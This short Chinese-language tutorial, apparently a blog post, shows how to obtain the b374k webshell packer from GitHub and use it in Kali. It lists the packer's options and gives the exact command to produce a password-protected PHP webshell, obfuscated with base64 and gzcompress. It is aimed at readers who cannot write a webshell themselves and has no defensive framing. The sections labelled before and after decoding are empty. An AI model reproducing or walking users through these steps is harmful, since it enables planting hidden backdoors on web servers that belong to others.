還在為不會寫webshell而感到心累?還在為webshell有后而不敢用??
b374k,我們首先去github下載b374k
https://github.com/b374k/b374k.git
在扔進虛擬機 kali,當然你也可以直接在里面下
進入目錄運行index.php 運行方式 php 參數 index.php
php -f index.php
b374k shell packer 0.4
options :
-o filename save as filename
-p password protect with password
-t theme theme to use
-m modules modules to pack separated by comma
-s strip comments and whitespaces
-b encode with base64
-z [no|gzdeflate|gzencode|gzcompress] compression (use only with -b)
-c [0-9] level of compression
-l list available modules
-k list available themes
-f是幫助
我們來生成一個webshell看看怎么樣
php -f index.php -- -o shell的名字 -p shell的密碼 -s -b -z gzcompress -c 9 (-s -b使用base64加密)
生成完畢,我們可以看到是用base64加密的
我們生成的php腳本我們把代碼去解密掉就可以看到原來的php代碼了
加密前:
解密后: